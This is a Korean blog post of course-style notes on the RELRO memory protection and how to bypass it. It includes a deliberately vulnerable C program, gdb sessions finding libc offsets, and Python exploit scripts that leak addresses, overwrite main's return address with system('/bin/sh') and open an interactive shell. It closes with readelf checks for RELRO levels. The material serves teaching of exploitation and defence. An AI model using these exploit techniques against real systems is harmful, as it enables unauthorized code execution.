RELRO
Bypassing RELRO
Lazy Binding : 바이너리가 실행되는 도중, 함수가 처음 호출될 때 주소를 찾는 방식 (GOT)
Lazy Binding을 할 때는 프로그램 실행 도중 GOT에 라이브러리 함수의 주소를 덮어써야 하기 때문에 GOT에 쓰기 권한이 있어야 한다. GOT에 값을 쓸 수 있다는 특징때문에 GOT overwrite 같은 공격이 가능하다.
하지만 Relocation Read-Only 보호기법이 설정되어 있으면 GOT와 같은 다이나믹 섹션이 읽기 권한만을 가지게 된다.
example7.c
// gcc -o example7 example7.c -mpreferred-stack-boundary=2 -Wl,-z,relro,-z,now
#include <stdio.h>
void arbitrary_read(long * addr){
printf("%lx\n", *addr);
}
void arbitrary_write(long *addr, long val){
*addr = val;
}
void menu(void){
puts("0. exit");
puts("1. Leak Address");
puts("2. Arbitrary Write");
}
int main(void){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
int choice = 0;
long addr = 0;
long value = 0;
while(1){
menu();
scanf("%d", &choice);
switch(choice){
case 1:
printf("Which address? : ");
scanf("%lu", &addr);
arbitrary_read(addr);
break;
case 2:
printf("Address : ");
scanf("%lu", &addr);
printf("Value : ");
scanf("%lu", &value);
arbitrary_write(addr, value);
break;
case 0:
return 0;
default:
break;
}
}
}
1번 메뉴에서는 임의 주소 읽기, 2번 메뉴에서는 임의 주소 쓰기가 가능하다.
example7의 실행 결과
0. exit
1. Leak Address
2. Arbitrary Write
system 함수의 주소 구하기
libc.so.6 라이브러리 주소를 릭해야 한다.
RELRO가 적용되어 있어도 GOT에 라이브러리 주소가 저장되어 있어 libc.so.6 라이브러리의 주소를 구할 수 있다.
menu 함수에 있는 puts@plt로부터 puts@got의 위치를 찾자.
$ gdb -q ./example7
Reading symbols from ./example7...(no debugging symbols found)...done.
(gdb) disas menu
Dump of assembler code for function menu:
0x08048572 <+0>: push ebp
0x08048573 <+1>: mov ebp,esp
0x08048575 <+3>: push 0x8048745
0x0804857a <+8>: call 0x8048420
0x0804857f <+13>: add esp,0x4
0x08048582 <+16>: push 0x804874d
0x08048587 <+21>: call 0x8048420
0x0804858c <+26>: add esp,0x4
0x0804858f <+29>: push 0x804875d
0x08048594 <+34>: call 0x8048420
0x08048599 <+39>: add esp,0x4
0x0804859c <+42>: nop
0x0804859d <+43>: leave
0x0804859e <+44>: ret
End of assembler dump.
(gdb) x/2i 0x8048420
0x8048420: jmp DWORD PTR ds:0x8049fec
0x8048426: xchg ax,ax
puts@got의 주소는 0x8049fec이다.
example7_leak.py
#!/usr/bin/python
'''
example7_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def readuntil(fd, needle):
res = ''
while True:
res += os.read(fd, 1)
if needle in res:
return res
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example7", stdin=subprocess.PIPE, stdout=out_w)
def arb_read(addr):
readuntil(out_r, "2. Arbitrary Write")
writeline(s, "1")
readuntil(out_r, ": ")
writeline(s, "%d"%addr)
return int(readuntil(out_r, "\n"), 16)
puts_addr = arb_read(0x8049fec)
print "puts @ "+hex(puts_addr)
1번 메뉴에 puts의 GOT 주소인 0x8049fec를 입력해 puts 함수의 주소를 구하는 코드
arb_read 함수를 구현해 1번 메뉴의 사용을 구현함.
def arb_read(addr):
readuntil(out_r, "2. Arbitrary Write")
writeline(s, "1")
readuntil(out_r, ": ")
writeline(s, "%d"%addr)
return int(readuntil(out_r, "\n"), 16)
example7_leack.py를 실행하면 puts함수의 주소가 출력됨.
$ example7_leak.py
puts @ 0xf7e0eca0
ak.py puts @ 0xf7e0eca0
2번 메뉴의 기능 arbitrary write를 통해 실행 흐름을 조작해보자.
example7의 메모리 권한
(gdb) x/2i 0x8048420
0x8048420: jmp DWORD PTR ds:0x8049fec
0x8048426: xchg ax,ax
(gdb) info proc
process 5004
...
(gdb) shell cat /proc/5004/maps
08048000-08049000 r-xp 00000000 08:01 162698 ~/example7
08049000-0804a000 r--p 00000000 08:01 162698 ~/example7
0804a000-0804b000 rw-p 00001000 08:01 162698 ~/example7
…
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
GOT에 쓰기 권한이 없다. 하지만 RELRO가 적용되어 있어도 스택 등 동적으로 데이터를 써야 하는 메모리에는 여전히 쓰기 권한이 있다. 임의 주소 쓰기 기능을 이용해 main 함수의 리턴 주소, 즉 스택 메모리를 덮어써 example7 바이너리를 익스플로잇 해보자. 스택 메모리에 값을 쓰려면 스택의 주소를 알아야 한다.
Leaking Stack Address In libc.so.6
libc.so.6 라이브러리의 전역 변수에는 프로그램의 argv, 즉 스택 메모리 주소가 존재한다. gdb의 find 명령어를 통해 main 함수의 두 번째 인자인 argv의 주소를 libc.so.6 라이브러리에서 찾아보도록 하겠다.
$ gdb -q ./example7
Reading symbols from ./example7...(no debugging symbols found)...done.
(gdb) b *main+0
Breakpoint 1 at 0x804859f
(gdb) r
Starting program: ~/example7
Breakpoint 1, 0x0804859f in main ()
(gdb) x/4wx $esp
0xffffd55c: 0xf7e19637 0x00000001 0xffffd5f4 0xffffd5fc
(gdb) info proc map
process 5039
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 ~/example7
0x8049000 0x804a000 0x1000 0x0 ~/example7
0x804a000 0x804b000 0x1000 0x1000 ~/example7
0xf7e00000 0xf7e01000 0x1000 0x0
0xf7e01000 0xf7fb1000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 0x3000 0x0
0xf7fd3000 0xf7fd4000 0x1000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find /w 0xf7e01000, 0xf7fb7000, 0xffffd5f4
0xf7fb65f0
warning: Unable to access 2576 bytes of target memory at 0xf7fb65f1, halting search.
1 pattern found.
(gdb) p/x 0xf7fb65f0-0xf7e01000
$1 = 0x1b55f0
(gdb)
main 함수에 브레이크포인트를 설정한 후, 라이브러리에서 argv 포인터를 검색해 라이브러리의 베이스 주소부터 argv 포인터 위치까지의 오프셋을 계산한 결과, 라이브러리의 베이스 주소에서부터 0x1b55f0만큼 떨어진 곳에 argv, 즉 스택 포인터가 존재한다는 것을 알 수 있다.
argv 주소부터 main함수의 리턴 주소까지의 오프셋을 계산
(gdb) p/x 0xffffd5f4-0xffffd55c
$3 = 0x98
(gdb)
argv 주소부터 0x98만큼 떨어진 위치에 main 함수의 리턴 주소가 존재
리턴 주소에 덮을 system 함수와 "/bin/sh" 문자열 주소의 오프셋을 구함
(gdb) p/x 0xf7e3bda0-0xf7e01000
$5 = 0x3ada0
(gdb) find 0xf7e01000, 0xf7fb7000, "/bin/sh"
0xf7f5ca0b
warning: Unable to access 2158 bytes of target memory at 0xf7fb6793, halting search.
1 pattern found.
(gdb) p/x 0xf7f5ca0b-0xf7e01000
$6 = 0x15ba0b
(gdb)
system 함수와 "/bin/sh" 문자열의 주소는 각각 라이브러리 베이스주소로부터 0x3ada0, 0x15ba0b 만큼 떨어져 있다.
example7.py
#!/usr/bin/python
'''
example7.py
'''
import struct
import subprocess
import os
import pty
import time
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def readuntil(fd, needle):
res = ''
while True:
res += os.read(fd, 1)
if needle in res:
return res
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example7", stdin=subprocess.PIPE, stdout=out_w)
def arb_read(addr):
readuntil(out_r, "2. Arbitrary Write")
writeline(s, "1")
readuntil(out_r, ": ")
writeline(s, "%d"%addr)
return int(readuntil(out_r, "\n"), 16)
def arb_write(addr, val):
readuntil(out_r, "2. Arbitrary Write")
writeline(s, "2")
readuntil(out_r, ": ")
writeline(s, "%d"%addr)
readuntil(out_r, ": ")
writeline(s, "%d"%val)
puts_addr = arb_read(0x8049fec)
print "puts @ "+hex(puts_addr)
libc = puts_addr - 0x5fca0
libc_argv = libc + 0x1b55f0
system = libc + 0x3ada0
binsh = libc + 0x15ba0b
stack_addr = arb_read(libc_argv)
print "stack @ "+hex(stack_addr)
main_ret = stack_addr - 0x98
arb_write(main_ret, system)
arb_write(main_ret+8, binsh)
readuntil(out_r, "2. Arbitrary Write")
writeline(s, "0")
read(out_r, 102400)
print "[+] get shell"
while True:
cmd = raw_input("$ ")
writeline(s, cmd)
time.sleep(0.2)
res = read(out_r, 102400)
print res
example7에 대한 익스플로잇 코드
argv : 0x1b55f0
system : 0x3ada0
/bin/sh : 0x15ba0b
arb_write 함수를 선언해 2번 메뉴의 사용 구현
def arb_write(addr, val):
readuntil(out_r, "2. Arbitrary Write")
writeline(s, "2")
readuntil(out_r, ": ")
writeline(s, "%d"%addr)
readuntil(out_r, ": ")
writeline(s, "%d"%val)
arb_write을 이용해 main함수의 리턴 주소를 system 함수 주소로, main의 리턴 주소+8을 "/bin/sh" 문자열의 주소로 덮은 후 0번 메뉴로 main 함수를 리턴시켜 쉘을 획득함.
example7.py 실행
$ python example7.py
puts @ 0xf7e1eca0
stack @ 0xffae9784
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
RELRO가 설정되어 있는지 확인하는 방법
RELRO는 바이너리 섹션에 Read Only가 적용된 정도에 따라 No RELRO, Partial RELRO, Full REOLO 로 나뉜다.
No RELRO : 바이너리에 RELRO 보호기법이 아예 적용되어 있지 않은 상태
Partial RELRO : .init_array나 .fini_array 등 non-PLT GOT에 대한 쓰기 권한을 제거한 상태
Full RELRO : GOT 섹션에 대한 쓰기 권한까지 제거해 .bss 영역을 제외한 모든 바이너리 섹션에서 쓰기 권한이 제거된 상태
readelf를 이용하면 ELF 바이너리에 설정된 RELRO 보호기법을 체크할 수 있다.
Full RELRO는 해당 바이너리가 Now Binding을 하는지 Lazy Binding을 하는지에 대한 검사를 통해 확인 가능함.
eadelf -a의 출력결과에 BIND_NOW 문자열을 grep 해봄으로써 체크 가능
$ readelf -a ./example7 | grep BIND_NOW
0x00000018 (BIND_NOW)
만약 바이너리의 readelf 출력 결과에 BIND_NOW 문자열이 없으면, GNU_RELRO 문자열의 검사를 통해 Partial RELRO 적용 여부를 확인 가능함.
$ readelf -a ./example4 | grep GNU_RELRO
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
readelf -a 출력 결과에서 두 문자열 모두 존재하지 않는다면 해당 바이너리는 RELRO가 적용되어 있지 않다고 볼 수 있다.
'시스템 해킹 > dream hack' 카테고리의 다른 글
[dream hack] PIE (0) | 2021.02.28 |
---|---|
[dream hack] SSP (0) | 2021.02.28 |
[dream hack] PLT, GOT Section (0) | 2021.02.27 |
[dream hack] ASLR (0) | 2021.02.26 |
[dream hack] NX bit (0) | 2021.02.20 |